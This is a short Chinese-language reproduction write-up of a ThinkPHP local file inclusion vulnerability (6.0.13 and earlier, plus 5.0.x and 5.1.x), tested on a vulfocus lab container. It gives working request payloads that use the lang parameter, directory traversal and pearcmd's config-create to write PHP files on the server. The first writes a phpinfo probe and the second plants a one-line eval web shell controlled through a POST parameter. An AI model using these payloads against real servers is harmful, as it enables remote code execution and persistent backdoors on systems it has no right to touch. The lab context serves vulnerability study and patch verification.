1、漏洞描述
ThinkPHP是一个在中国使用较多的PHP框架。在其6.0.13版本及以前,存在一处本地文件包含漏洞。当ThinkPHP开启了多语言功能时,攻击者可以通过lang参数和目录穿越实现文件包含,当存在其他扩展模块如 pear 扩展时,攻击者可进一步利用文件包含实现远程代码执行。
影响版本
6.0.1 <= ThinkPHP <= 6.0.13
ThinkPHP 5.0.x
ThinkPHP 5.1.x
2、漏洞复现
使用vulfocus靶场复现漏洞,使用如下命令拉取镜像
docker pull vulfocus/thinkphp:6.0.12
启动靶场后,访问如下:
官方给出了访问路径:
访问如下地址:http://xxx.xx.230.165:59502/public/index.php
使用如下payload:
/public/index.php?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+/var/www/html/shell.php
访问写入的文件
写入一句话木马payload
/public/index.php?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=eval(@$_POST['password']);?>+/var/www/html/shell2.php
验证结果如下: